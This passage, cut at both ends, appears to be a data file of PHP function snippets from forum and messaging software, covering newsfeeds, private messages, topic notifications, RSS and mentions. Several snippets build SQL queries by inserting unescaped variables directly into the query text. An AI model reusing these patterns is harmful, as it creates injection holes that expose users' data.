$friend) {\n $friendsPosts = User::with(['latestPosts.user.profile', 'latestPosts.likes', 'latestPosts.comments'])\n ->find($friend->id)\n ->latestPosts->take(1);\n\n $newsfeedPosts->push($friendsPosts);\n }\n \n return $newsfeedPosts->flatten(1);\n }", "function ppmess_get_all_messages_2($logged_user, $author_id, $post_id){\n\t\n\tglobal $wpdb;\n\t\n\t$show_status = '_' . $logged_user;\n\n\t$query = \"SELECT * FROM {$wpdb->prefix}private_messages WHERE ( (sender_id = $logged_user AND receiver_id = $author_id) OR (sender_id = $author_id AND receiver_id = $logged_user) ) \n\tAND post_id = $post_id AND show_status LIKE '%$show_status%' ORDER BY date_created ASC\";\n\t\n\t$result = $wpdb->get_results( $query, ARRAY_A );\n\t\n\tif($wpdb->num_rows > 0)\n\t\treturn $result;\n\telse\n\t\treturn FALSE;\n}", "public function index()\n {\n //\n $topics = Forum::paginate(5);\n \n \n // foreach ($topics as $topic) {\n // # code...\n // $topicCreatedByUser = $topic->user;\n // }\n // exit;\n return view('forum.forum_topics', compact('topics'));\n }", "function cns_get_details_to_show_post($_postdetails, $topic_info, $only_post = false)\n{\n $forum_id = $_postdetails['p_cache_forum_id'];\n\n $primary_group = cns_get_member_primary_group($_postdetails['p_poster']);\n if (is_null($primary_group)) {\n $_postdetails['p_poster'] = db_get_first_id();\n $primary_group = db_get_first_id();\n }\n\n $post = array(\n 'id' => $_postdetails['id'],\n 'topic_id' => $_postdetails['p_topic_id'],\n 'title' => $_postdetails['p_title'],\n 'post' => $_postdetails['message'],\n 'time' => $_postdetails['p_time'],\n 'time_string' => get_timezoned_date($_postdetails['p_time']),\n 'validated' => $_postdetails['p_validated'],\n 'is_emphasised' => $_postdetails['p_is_emphasised'],\n 'poster_username' => $_postdetails['p_poster_name_if_guest'],\n 'poster' => $_postdetails['p_poster'],\n );\n\n $post['has_revisions'] = false;\n if (addon_installed('actionlog')) {\n require_code('revisions_engine_database');\n $revision_engine = new RevisionEngineDatabase(true);\n if ($revision_engine->has_revisions(array('post'), strval($_postdetails['id']))) {\n $post['has_revisions'] = true;\n }\n }\n\n if (array_key_exists('message_comcode', $_postdetails)) {\n $post['message_comcode'] = $_postdetails['message_comcode'];\n }\n\n // Edited?\n if (!is_null($_postdetails['p_last_edit_by'])) {\n $post['last_edit_by'] = $_postdetails['p_last_edit_by'];\n $post['last_edit_time'] = $_postdetails['p_last_edit_time'];\n $post['last_edit_time_string'] = get_timezoned_date($_postdetails['p_last_edit_time']);\n $post['last_edit_by_username'] = $GLOBALS['CNS_DRIVER']->get_username($_postdetails['p_last_edit_by']);\n if ($post['last_edit_by_username'] == '') {\n $post['last_edit_by_username'] = do_lang('UNKNOWN'); // Shouldn't happen, but imported data can be weird\n }\n }\n\n $is_banned = ($GLOBALS['CNS_DRIVER']->get_member_row_field($_postdetails['p_poster'], 'm_is_perm_banned') == 1);\n\n // Find title\n $title = addon_installed('cns_member_titles') ? $GLOBALS['CNS_DRIVER']->get_member_row_field($_postdetails['p_poster'], 'm_title') : '';\n if ($title == '') {\n $title = get_translated_text(cns_get_group_property($primary_group, 'title'), $GLOBALS['FORUM_DB']);\n }\n if ($is_banned) {\n $title = do_lang('BANNED');\n }\n $post['poster_title'] = $title;\n\n // If this isn't guest posted, we can put some member details in\n if ((!is_null($_postdetails['p_poster'])) && ($_postdetails['p_poster'] != $GLOBALS['CNS_DRIVER']->get_guest_id())) {\n if (addon_installed('points')) {\n require_code('points');\n $post['poster_points'] = total_points($_postdetails['p_poster']);\n }\n $post['poster_posts'] = $GLOBALS['CNS_DRIVER']->get_member_row_field($_postdetails['p_poster'], 'm_cache_num_posts');\n $post['poster_highlighted_name'] = $GLOBALS['CNS_DRIVER']->get_member_row_field($_postdetails['p_poster'], 'm_highlighted_name');\n\n // Signature\n if ((($GLOBALS['CNS_DRIVER']->get_member_row_field(get_member(), 'm_views_signatures') == 1) || (get_option('enable_views_sigs_option', true) === '0')) && ($_postdetails['p_skip_sig'] == 0) && (addon_installed('cns_signatures')) && (!$is_banned)) {\n global $SIGNATURES_CACHE;\n if (array_key_exists($_postdetails['p_poster'], $SIGNATURES_CACHE)) {\n $sig = $SIGNATURES_CACHE[$_postdetails['p_poster']];\n } else {\n $member_row = $GLOBALS['CNS_DRIVER']->get_member_row($_postdetails['p_poster']);\n $just_member_row = db_map_restrict($member_row, array('id', 'm_signature'));\n $sig = get_translated_tempcode('f_members', $just_member_row, 'm_signature', $GLOBALS['FORUM_DB']);\n $SIGNATURES_CACHE[$_postdetails['p_poster']] = $sig;\n }\n $post['signature'] = $sig;\n }\n\n // Any custom fields to show?\n $post['custom_fields'] = cns_get_all_custom_fields_match_member(\n $_postdetails['p_poster'], // member\n ((get_member() != $_postdetails['p_poster']) && (!has_privilege(get_member(), 'view_any_profile_field'))) ? 1 : null, // public view\n ((get_member() == $_postdetails['p_poster']) && (!has_privilege(get_member(), 'view_any_profile_field'))) ? 1 : null, // owner view\n null, // owner set\n null, // encrypted\n null, // required\n 1 // show in posts\n );\n\n // Usergroup\n $post['primary_group'] = $primary_group;\n $post['primary_group_name'] = cns_get_group_name($primary_group);\n\n // Find avatar\n $avatar = $GLOBALS['CNS_DRIVER']->get_member_avatar_url($_postdetails['p_poster']);\n if ($avatar != '') {\n $post['poster_avatar'] = $avatar;\n }\n\n // Any warnings?\n if ((has_privilege(get_member(), 'see_warnings')) && (addon_installed('cns_warnings'))) {\n $num_warnings = $GLOBALS['CNS_DRIVER']->get_member_row_field($_postdetails['p_poster'], 'm_cache_warnings');\n $post['poster_num_warnings'] = $num_warnings;\n }\n\n // Join date\n $post['poster_join_date'] = $GLOBALS['CNS_DRIVER']->get_member_row_field($_postdetails['p_poster'], 'm_join_time');\n $post['poster_join_date_string'] = get_timezoned_date($post['poster_join_date']);\n } elseif ($_postdetails['p_poster'] == $GLOBALS['CNS_DRIVER']->get_guest_id()) {\n if ($_postdetails['p_poster_name_if_guest'] == do_lang('SYSTEM')) {\n $post['poster_avatar'] = find_theme_image('cns_default_avatars/system', true);\n $post['poster_title'] = '';\n }\n }\n\n // Do we have any special controls over this post?\n require_code('cns_posts');\n $reason = null;\n $may_edit = cns_may_edit_post_by($_postdetails['id'], $_postdetails['p_time'], $_postdetails['p_poster'], $forum_id, get_member(), $topic_info['t_is_open'] == 0, $reason);\n if ($may_edit || $reason !== null/*Interesting reason, let them find it out when they click*/) {\n $post['may_edit'] = true;\n }\n if (!$only_post) {\n $may_delete = cns_may_delete_post_by($_postdetails['id'], $_postdetails['p_time'], $_postdetails['p_poster'], $forum_id, get_member(), $reason);\n if ($may_delete || $reason !== null/*Interesting reason, let them find it out when they click*/) {\n $post['may_delete'] = true;\n }\n }\n\n // More\n if (has_privilege(get_member(), 'see_ip')) {\n $post['ip_address'] = $_postdetails['p_ip_address'];\n }\n if (!is_null($_postdetails['p_intended_solely_for'])) {\n $post['intended_solely_for'] = $_postdetails['p_intended_solely_for'];\n }\n\n return $post;\n}", "function user_notification($mode, &$post_data, &$topic_title, &$forum_id, &$topic_id, &$post_id, &$notify_user)\n{\n\tglobal $bb_cfg, $lang, $db;\n\tglobal $userdata;\n\n\tif (!$bb_cfg['topic_notify_enabled'])\n\t{\n\t\treturn;\n\t}\n\n\t$current_time = time();\n\n\tif ($mode != 'delete')\n\t{\n\t\tif ($mode == 'reply')\n\t\t{\n\t\t\t$sql = \"SELECT ban_userid\n\t\t\t\tFROM bb_banlist\";\n\t\t\tif (!($result = $db->sql_query($sql)))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not obtain banlist', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\n\t\t\t$user_id_sql = '';\n\t\t\twhile ($row = $db->sql_fetchrow($result))\n\t\t\t{\n\t\t\t\tif (isset($row['ban_userid']) && !empty($row['ban_userid']))\n\t\t\t\t{\n\t\t\t\t\t$user_id_sql .= ', ' . $row['ban_userid'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$sql = \"SELECT u.user_id, u.user_email, u.user_lang\n\t\t\t\tFROM bb_topics_watch tw, bb_users u\n\t\t\t\tWHERE tw.topic_id = $topic_id\n\t\t\t\t\tAND tw.user_id NOT IN (\" . $userdata['user_id'] . \", \" . ANONYMOUS . $user_id_sql . \")\n\t\t\t\t\tAND tw.notify_status = \" . TOPIC_WATCH_UN_NOTIFIED . \"\n\t\t\t\t\tAND u.user_id = tw.user_id\";\n\t\t\tif (!($result = $db->sql_query($sql)))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not obtain list of topic watchers', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\n\t\t\t$update_watched_sql = '';\n\t\t\t$bcc_list_ary = array();\n\n\t\t\tif ($row = $db->sql_fetchrow($result))\n\t\t\t{\n\t\t\t\t// Sixty second limit\n\t\t\t\t@set_time_limit(60);\n\n\t\t\t\tdo\n\t\t\t\t{\n\t\t\t\t\tif ($row['user_email'] != '')\n\t\t\t\t\t{\n\t\t\t\t\t\t$bcc_list_ary[$row['user_lang']][] = $row['user_email'];\n\t\t\t\t\t}\n\t\t\t\t\t$update_watched_sql .= ($update_watched_sql != '') ? ', ' . $row['user_id'] : $row['user_id'];\n\t\t\t\t}\n\t\t\t\twhile ($row = $db->sql_fetchrow($result));\n\n\t\t\t\t//\n\t\t\t\t// Let's do some checking to make sure that mass mail functions\n\t\t\t\t// are working in win32 versions of php.\n\t\t\t\t//\n\t\t\t\tif (preg_match('/[c-z]:\\\\\\.*/i', getenv('PATH')) && !$bb_cfg['smtp_delivery'])\n\t\t\t\t{\n\t\t\t\t\t$ini_val = (@phpversion() >= '4.0.0') ? 'ini_get' : 'get_cfg_var';\n\n\t\t\t\t\t// We are running on windows, force delivery to use our smtp functions\n\t\t\t\t\t// since php's are broken by default\n\t\t\t\t\tif (!@$ini_val('sendmail_path')) {\n\t\t\t\t\t$bb_cfg['smtp_delivery'] = 1;\n\t\t\t\t\t$bb_cfg['smtp_host'] = @$ini_val('SMTP');\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (sizeof($bcc_list_ary))\n\t\t\t\t{\n\t\t\t\t\trequire SITE_DIR . 'includes/emailer.php';\n\t\t\t\t\t$emailer = new emailer($bb_cfg['smtp_delivery']);\n\n\t\t\t\t\t$script_name = preg_replace('/^\\/?(.*?)\\/?$/', '\\1', trim($bb_cfg['script_path']));\n\t\t\t\t\t$script_name = ($script_name != '') ? $script_name . '/viewtopic.php' : 'viewtopic.php';\n\t\t\t\t\t$server_name = trim($bb_cfg['server_name']);\n\t\t\t\t\t$server_protocol = ($bb_cfg['cookie_secure']) ? 'https://' : 'http://';\n\t\t\t\t\t$server_port = ($bb_cfg['server_port'] <> 80) ? ':' . trim($bb_cfg['server_port']) . '/' : '/';\n\n\t\t\t\t\t$orig_word = array();\n\t\t\t\t\t$replacement_word = array();\n\t\t\t\t\tobtain_word_list($orig_word, $replacement_word);\n\n\t\t\t\t\t$emailer->from($bb_cfg['board_email']);\n\t\t\t\t\t$emailer->replyto($bb_cfg['board_email']);\n\n\t\t\t\t\t$topic_title = (count($orig_word)) ? preg_replace($orig_word, $replacement_word, unprepare_message($topic_title)) : unprepare_message($topic_title);\n\n\t\t\t\t\t@reset($bcc_list_ary);\n\t\t\t\t\twhile (list($user_lang, $bcc_list) = each($bcc_list_ary))\n\t\t\t\t\t{\n\t\t\t\t\t\t$emailer->use_template('topic_notify', $user_lang);\n\n\t\t\t\t\t\tfor ($i = 0; $i < count($bcc_list); $i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$emailer->bcc($bcc_list[$i]);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// The Topic_reply_notification lang string below will be used\n\t\t\t\t\t\t// if for some reason the mail template subject cannot be read\n\t\t\t\t\t\t// ... note it will not necessarily be in the posters own language!\n\t\t\t\t\t\t$emailer->set_subject($lang['Topic_reply_notification']);\n\n\t\t\t\t\t\t// This is a nasty kludge to remove the username var ... till (if?)\n\t\t\t\t\t\t// translators update their templates\n\t\t\t\t\t\t$emailer->msg = preg_replace('#[ ]?{USERNAME}#', '', $emailer->msg);\n\n\t\t\t\t\t\t$emailer->assign_vars(array(\n\t\t\t\t\t\t\t'EMAIL_SIG' => (!empty($bb_cfg['board_email_sig'])) ? str_replace('<br />', \"\\n\", \"-- \\n\" . $bb_cfg['board_email_sig']) : '',\n\t\t\t\t\t\t\t'SITENAME' => $bb_cfg['sitename'],\n\t\t\t\t\t\t\t'TOPIC_TITLE' => $topic_title,\n\n\t\t\t\t\t\t\t'U_TOPIC' => $server_protocol . $server_name . $server_port . $script_name . '?' . POST_POST_URL . \"=$post_id#$post_id\",\n\t\t\t\t\t\t\t'U_STOP_WATCHING_TOPIC' => $server_protocol . $server_name . $server_port . $script_name . '?' . POST_TOPIC_URL . \"=$topic_id&unwatch=topic\")\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t$emailer->send();\n\t\t\t\t\t\t$emailer->reset();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$db->sql_freeresult($result);\n\n\t\t\tif ($update_watched_sql != '')\n\t\t\t{\n\t\t\t\t$sql = \"UPDATE bb_topics_watch\n\t\t\t\t\tSET notify_status = \" . TOPIC_WATCH_NOTIFIED . \"\n\t\t\t\t\tWHERE topic_id = $topic_id\n\t\t\t\t\t\tAND user_id IN ($update_watched_sql)\";\n\t\t\t\t$db->sql_query($sql);\n\t\t\t}\n\t\t}\n\n\t\t$sql = \"SELECT topic_id\n\t\t\tFROM bb_topics_watch\n\t\t\tWHERE topic_id = $topic_id\n\t\t\t\tAND user_id = \" . $userdata['user_id'];\n\t\tif (!($result = $db->sql_query($sql)))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'Could not obtain topic watch information', '', __LINE__, __FILE__, $sql);\n\t\t}\n\n\t\t$row = $db->sql_fetchrow($result);\n\n\t\tif (!$notify_user && !empty($row['topic_id']))\n\t\t{\n\t\t\t$sql = \"DELETE FROM bb_topics_watch\n\t\t\t\tWHERE topic_id = $topic_id\n\t\t\t\t\tAND user_id = \" . $userdata['user_id'];\n\t\t\tif (!$db->sql_query($sql))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not delete topic watch information', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\t\t}\n\t\telse if ($notify_user && empty($row['topic_id']))\n\t\t{\n\t\t\t$sql = \"INSERT INTO bb_topics_watch (user_id, topic_id, notify_status)\n\t\t\t\tVALUES (\" . $userdata['user_id'] . \", $topic_id, 0)\";\n\t\t\tif (!$db->sql_query($sql))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not insert topic watch information', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\t\t}\n\t}\n}", "public function getTopic() {}", "function getTopicInfos($topics, $type)\n{\n\t$db = database();\n\n\t$topicData = [];\n\t$boards_index = [];\n\n\t$db->fetchQuery('\n\t\tSELECT \n\t\t\tmf.subject, ml.body, ml.id_member, t.id_last_msg, t.id_topic, t.id_board, t.id_member_started,\n\t\t\tmem.signature, COALESCE(mem.real_name, ml.poster_name) AS poster_name, COUNT(a.id_attach) as num_attach\n\t\tFROM {db_prefix}topics AS t\n\t\t\tINNER JOIN {db_prefix}messages AS mf ON (mf.id_msg = t.id_first_msg)\n\t\t\tINNER JOIN {db_prefix}messages AS ml ON (ml.id_msg = t.id_last_msg)\n\t\t\tLEFT JOIN {db_prefix}members AS mem ON (mem.id_member = ml.id_member)\n\t\t\tLEFT JOIN {db_prefix}attachments AS a ON(a.attachment_type = {int:attachment_type} AND a.id_msg = t.id_last_msg)\n\t\tWHERE t.id_topic IN ({array_int:topic_list})\n\t\tGROUP BY 1, 2, 3, 4, 5, 6, 7, 8, 9',\n\t\t[\n\t\t\t'topic_list' => $topics,\n\t\t\t'attachment_type' => 0,\n\t\t]\n\t)->fetch_callback(\n\t\tfunction ($row) use (&$topicData, &$boards_index, $type) {\n\t\t\t// all the boards for these topics, used to find all the members to be notified\n\t\t\t$boards_index[] = $row['id_board'];\n\n\t\t\t// And the information we are going to tell them about\n\t\t\t$topicData[$row['id_topic']] = [\n\t\t\t\t'subject' => $row['subject'],\n\t\t\t\t'body' => $row['body'],\n\t\t\t\t'last_id' => (int) $row['id_last_msg'],\n\t\t\t\t'topic' => (int) $row['id_topic'],\n\t\t\t\t'board' => (int) $row['id_board'],\n\t\t\t\t'id_member_started' => (int) $row['id_member_started'],\n\t\t\t\t'name' => $type === 'reply' ? $row['poster_name'] : User::$info->name,\n\t\t\t\t'exclude' => '',\n\t\t\t\t'signature' => $row['signature'],\n\t\t\t\t'attachments' => (int) $row['num_attach'],\n\t\t\t];\n\t\t}\n\t);\n\n\treturn [$boards_index, $topicData];\n}", "public function retrieveMessengers()\n {\n return $this->start()->uri(\"/api/messenger\")\n ->get()\n ->go();\n }", "function fetchApprovalNotifications($topics)\n{\n\t$db = database();\n\n\t$approvalNotifyData = [];\n\n\t// Find everyone who needs to know about this.\n\t$db->fetchQuery('\n\t\tSELECT\n\t\t\tDISTINCT mem.id_member, mem.email_address, mem.notify_regularity, mem.notify_types, mem.notify_send_body,\n\t\t\tmem.lngfile, mem.warning, mem.id_group, mem.additional_groups, mem.id_post_group, mem.password_salt,\n\t\t\tt.id_member_started,\n\t\t\tb.member_groups, b.name, b.id_profile, b.id_board,\n\t\t\tln.id_topic, ln.sent\n\t\tFROM {db_prefix}log_notify AS ln\n\t\t\tINNER JOIN {db_prefix}members AS mem ON (mem.id_member = ln.id_member)\n\t\t\tINNER JOIN {db_prefix}topics AS t ON (t.id_topic = ln.id_topic)\n\t\t\tINNER JOIN {db_prefix}boards AS b ON (b.id_board = t.id_board)\n\t\tWHERE ln.id_topic IN ({array_int:topic_list})\n\t\t\tAND mem.is_activated = {int:is_activated}\n\t\t\tAND mem.notify_types < {int:notify_types}\n\t\t\tAND mem.notify_regularity < {int:notify_regularity}\n\t\tORDER BY mem.lngfile',\n\t\t[\n\t\t\t'topic_list' => $topics,\n\t\t\t'is_activated' => 1,\n\t\t\t'notify_types' => 4,\n\t\t\t'notify_regularity' => 2,\n\t\t]\n\t)->fetch_callback(\n\t\tfunction ($row) use (&$approvalNotifyData) {\n\t\t\t$clean = [\n\t\t\t\t'id_member' => (int) $row['id_member'],\n\t\t\t\t'email_address' => $row['email_address'],\n\t\t\t\t'notify_regularity' => (int) $row['notify_regularity'],\n\t\t\t\t'notify_types' => (int) $row['notify_types'],\n\t\t\t\t'notify_send_body' => (int) $row['notify_send_body'],\n\t\t\t\t'lngfile' => $row['lngfile'],\n\t\t\t\t'warning' => $row['warning'],\n\t\t\t\t'id_group' => (int) $row['id_group'],\n\t\t\t\t'additional_groups' => $row['additional_groups'],\n\t\t\t\t'id_post_group' => (int) $row['id_post_group'],\n\t\t\t\t'password_salt' => $row['password_salt'],\n\t\t\t\t'id_member_started' => (int) $row['id_member_started'],\n\t\t\t\t'member_groups' => $row['member_groups'],\n\t\t\t\t'board_name' => $row['name'],\n\t\t\t\t'id_profile_board' => (int) $row['id_profile'],\n\t\t\t\t'id_board' => (int) $row['id_board'],\n\t\t\t\t'id_topic' => (int) $row['id_topic'],\n\t\t\t\t'sent' => (int) $row['sent'],\n\t\t\t];\n\n\t\t\tif (validateNotificationAccess($clean, false))\n\t\t\t{\n\t\t\t\t$approvalNotifyData[] = $clean;\n\t\t\t}\n\t\t}\n\t);\n\n\treturn $approvalNotifyData;\n}", "public function mentions(){\n\t\t$title = \"mentioning user: @\";\n\t\t$where = \"select m.post_id from mentions m, users u2 where m.user_id = u2.user_id and u2.user_name\";\n\n\t\t#call generic routine for showing a specific list of posts:\n\t\t$this->view_specific($where, $title);\n\t}", "public function getPosts();", "public function getPosts();", "public function listNotifications()\r\n { \t \r\n \r\n \t$data = $this->call(array(), \"GET\", \"notifications.json\");\r\n \t$data = $data->{'notifications'};\r\n \t$notificationArray = new ArrayObject();\r\n \tfor($i = 0; $i<count($data);$i++){\r\n \t\t$notificationArray->append(new Notification($data[$i], $this));\r\n \t}\r\n \treturn $notificationArray;\r\n }", "public function getPosts() {}", "public function rss_topic()\n\t{\n\t\tif (!$this->id)\n\t\t{\n\t\t\tDisplay::message('not_allowed');\n\t\t}\n\n\t\t// Liste des messages\n\t\t$sql = 'SELECT p.p_id, p.p_text, p.p_time, p.u_id, p.p_nickname, p.p_map, t.t_title, t.t_description, t.f_id, t.t_id, u.u_activate_email, u.u_email, u.u_auth\n\t\t\t\tFROM ' . SQL_PREFIX . 'posts p\n\t\t\t\tINNER JOIN ' . SQL_PREFIX . 'topics t\n\t\t\t\t\tON p.t_id = t.t_id\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'users u\n\t\t\t\t\tON u.u_id = p.u_id\n\t\t\t\tWHERE t.t_id = ' . $this->id . '\n\t\t\t\t\tAND p.p_approve = 0\n\t\t\t\tORDER BY p.p_time DESC';\n\t\t$result = Fsb::$db->query($sql);\n\t\tif ($row = Fsb::$db->row($result))\n\t\t{\n\t\t\tif (!Fsb::$session->is_authorized($row['f_id'], 'ga_read') || !Fsb::$session->is_authorized($row['f_id'], 'ga_view') || !Fsb::$session->is_authorized($row['f_id'], 'ga_view_topics'))\n\t\t\t{\n\t\t\t\tDisplay::message('not_allowed');\n\t\t\t}\n\n\t\t\t$parser = new Parser();\n\t\t\t$parser->parse_html = (Fsb::$cfg->get('activate_html') && $row['u_auth'] >= MODOSUP) ? true : false;\n\n\t\t\t$this->rss->open(\n\t\t\t\tParser::title($row['t_title']),\n\t\t\t\thtmlspecialchars(($row['t_description']) ? $row['t_description'] : $parser->mapped_message($row['p_text'], $row['p_map'])),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=topic&amp;id=' . $this->id),\n\t\t\t\t$row['p_time']\n\t\t\t);\n\n\t\t\tdo\n\t\t\t{\n\t\t\t\t// Informations passees au parseur de message\n\t\t\t\t$parser_info = array(\n\t\t\t\t\t'u_id' =>\t\t\t$row['u_id'],\n\t\t\t\t\t'p_nickname' =>\t\t$row['p_nickname'],\n\t\t\t\t\t'u_auth' =>\t\t\t$row['u_auth'],\n\t\t\t\t\t'f_id' =>\t\t\t$row['f_id'],\n\t\t\t\t\t't_id' =>\t\t\t$row['t_id'],\n\t\t\t\t);\n\t\t\t\t$parser->parse_html = (Fsb::$cfg->get('activate_html') && $row['u_auth'] >= MODOSUP) ? true : false;\n\n\t\t\t\t$this->rss->add_entry(\n\t\t\t\t\tParser::title($row['t_title']),\n\t\t\t\t\thtmlspecialchars($parser->mapped_message($row['p_text'], $row['p_map'], $parser_info)),\n\t\t\t\t\t(($row['u_activate_email'] & 2) ? 'mailto:' . $row['u_email'] : Fsb::$cfg->get('forum_mail')) . ' ' . htmlspecialchars($row['p_nickname']),\n\t\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=topic&p_id=' . $row['p_id'] . '#p' . $row['p_id']),\n\t\t\t\t\t$row['p_time']\n\t\t\t\t);\n\t\t\t}\n\t\t\twhile ($row = Fsb::$db->row($result));\n\t\t}\n\t\t// Aucun message, on pioche donc directement les informations dans le sujet\n\t\telse \n\t\t{\n\t\t\t$sql = 'SELECT t_id, t_title, t_description, t_time\n\t\t\t\t\tFROM ' . SQL_PREFIX . 'topics\n\t\t\t\t\tWHERE t_id = ' . $this->id;\n\t\t\t$row = Fsb::$db->request($sql);\n\t\t\t$this->rss->open(\n\t\t\t\tParser::title($row['t_title']),\n\t\t\t\thtmlspecialchars($row['t_description']),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=topic&amp;id=' . $this->id),\n\t\t\t\t$row['t_time']\n\t\t\t);\n\t\t}\n\t}", "public function postTopiclist()\n {\n $input = \\Input::all();\n \n if (!empty($input))\n {\n if (!empty($input['token']))\n {\n $token_mgr = new SessionToken($input['token']);\n $token = $token_mgr->validate();\n \n if (!empty($token))\n {\n $rit = new RIT();\n return $rit->RIT_Get_User_Objectives($token->rit_token, null);\n }\n else{\n return \\Response::json(array(\n 'message' => 'Not found',\n 'code' => 404,\n ));\n }\n }\n else{//data not sent properly\n return \\Response::json(array(\n 'message' => 'Data not sent correctly',\n 'code' => 400,\n ));\n }\n }\n else{//no data sent\n return \\Response::json(array(\n 'message' => 'No data sent',\n 'code' => 401,\n ));\n }\n }", "function get_group_topics($params) {\n global $db;\n\n $gid = $params['group'] ? $params['group'] : $params;\n $limit = $params['limit'];\n $order = $params['order'] ? $params['order'] : \" last_post_time DESC \";\n\n if ($params['approved'])\n $approved_query = \" AND \" . tbl('group_topics') . \".approved='yes' \";\n if ($params['user'])\n $user_query = \" AND \" . tbl('group_topics') . \".userid='\" . $params['user'] . \"'\";\n\n\n //user fields\n $fields = array(\n 'email', 'username'\n );\n\n $fields = apply_filters($fields, 'group_topic_user_fields');\n\n foreach ($fields as $field)\n $uquery .= ',' . tbl('users.' . $field);\n\n if ($limit)\n $limit_query = \" LIMIT \" . $limit;\n else\n $limit_query = '';\n\n $order = ' ORDER BY ' . $order;\n $results = db_select(\"SELECT \" . tbl('group_topics') . \".*$uquery FROM \"\n . tbl('group_topics') . \" LEFT JOIN \" . tbl('users') . \" ON \" . tbl('users.userid')\n . \"=\" . tbl('group_topics.userid') . \" WHERE \" . tbl('group_topics')\n . \".group_id='$gid' $user_query $order $limit_query \");\n\n\n if ($db->num_rows > 0)\n return $results;\n else\n return false;\n }", "public function getTopic();", "public function getTopic();", "public function getRecentReplies($id, $number=10 ){\n return Reply::where('user_id',$id)->orderBy('created_at','desc')\n ->whereHas('topic.category',function($q){\n $q->where('is_blocked','no');\n })->take($number)->get();\n }", "public function ADPost_Get_Post_List(){\n\t \n\t $result_key = parent::Initial_Result('posts');\n\t $result = &$this->ModelResult[$result_key];\n\t \n\t try{\n\t \n\t\t// 查詢資料庫\n\t\t$DB_OBJ = $this->DBLink->prepare(parent::SQL_Permission_Filter(SQL_AdPost::ADMIN_POST_GET_POST_LIST()));\n\t\tif(!$DB_OBJ->execute()){\n\t\t throw new Exception('_SYSTEM_ERROR_DB_ACCESS_FAIL'); \n\t\t}\n\t\t\n\t\t// 取得最新消息清單\n\t\t$data_list = array();\n\t\t$data_list = $DB_OBJ->fetchAll(PDO::FETCH_ASSOC);\t\t\n\t\t$time_now = strtotime('now');\n\t\t\n\t\tforeach($data_list as &$data){\n\t\t $data['@list_filter'][] = ($time_now > strtotime($data['post_time_end'])) && $data['post_level']!=4 ? 'over' : 'inuse';\n\t\t $data['@list_status'][] = $data['post_display'] ? '' : 'mask';\n\t\t}\n\t\t\t\n\t\t$result['action'] = true;\t\t\n\t\t$result['data'] = $data_list;\t\t\n\t \n\t } catch (Exception $e) {\n $result['message'][] = $e->getMessage();\n }\n\t return $result;\n\t}", "public function get_cahnrs_topics() {\n\n\t\t$topics = array();\n\n\t\t$response = wp_remote_get( 'http://api.wpdev.cahnrs.wsu.edu/?service=topics' );\n\t\tif ( ! is_wp_error( $response ) ) {\n\t\t\t$body = wp_remote_retrieve_body( $response );\n\t\t\tif ( ! is_wp_error( $body ) ) {\n\t\t\t\t$topics = json_decode( $body, true );\n\t\t\t}\n\t\t}\n\n\t\treturn $topics;\n\n\t}", "public function posts()\n {\n return $this->belongsToMany('Modules\\Meeting\\Entities\\Post')->withTimestamps();\n }", "public function find_users_for_notification($post, $options = array())\n\t{\n\t\t$options = array_merge(array(\n\t\t\t'ignore_users'\t\t=> array(),\n\t\t), $options);\n\n\t\t$users = array();\n\t\t$users[$post['poster_id']] = array('');\n\n\t\treturn $this->get_authorised_recipients(array_keys($users), $post['forum_id'], array_merge($options, array(\n\t\t\t'item_type'\t\t=> self::$notification_option['id'],\n\t\t)));\n\t}", "function mentionMeXMLHTTPgetMultiMentioned()\n{\n\tglobal $mybb, $db, $charset;\n\n\t// if the cookie does not exist, exit\n\tif (!array_key_exists('multi_mention', $mybb->cookies)) {\n\t\texit;\n\t}\n\t// divide up the cookie using our delimiter\n\t$mentioned = explode('|', $mybb->cookies['multi_mention']);\n\n\t// no values - exit\n\tif (!is_array($mentioned)) {\n\t\texit;\n\t}\n\n\t// loop through each post ID and sanitize it before querying\n\tforeach ($mentioned as $post) {\n\t\t$mentionedPosts[$post] = (int) $post;\n\t}\n\n\t// join the post IDs back together\n\t$mentionedPosts = implode(',', $mentionedPosts);\n\n\t// fetch unviewable forums\n\t$unviewableForums = get_unviewable_forums();\n\tif ($unviewableForums) {\n\t\t$unviewableForums = \" AND fid NOT IN ({$unviewableForums})\";\n\t}\n\t$message = '';\n\n\t// are we loading all mentioned posts or only those not in the current thread?\n\t$fromTID = '';\n\tif (!$mybb->input['load_all']) {\n\t\t$tid = (int) $mybb->input['tid'];\n\t\t$fromTID = \"tid != '{$tid}' AND \";\n\t}\n\n\t// query for any posts in the list which are not within the specified thread\n\t$mentioned = array();\n\t$query = $db->simple_select('posts', 'username, fid, visible', \"{$fromTID}pid IN ({$mentionedPosts}){$unviewableForums}\", array(\"order_by\" => 'dateline'));\n\twhile ($mentionedPost = $db->fetch_array($query)) {\n\t\tif (!is_moderator($mentionedPost['fid']) &&\n\t\t\t$mentionedPost['visible'] == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ($mentioned[$mentionedPost['username']] != true) {\n\t\t\t$mentionedPost['username'] = html_entity_decode($mentionedPost['username']);\n\n\t\t\t// find an appropriate quote character based on whether or not the\n\t\t\t// mentioned name includes that character\n\t\t\t$quote = 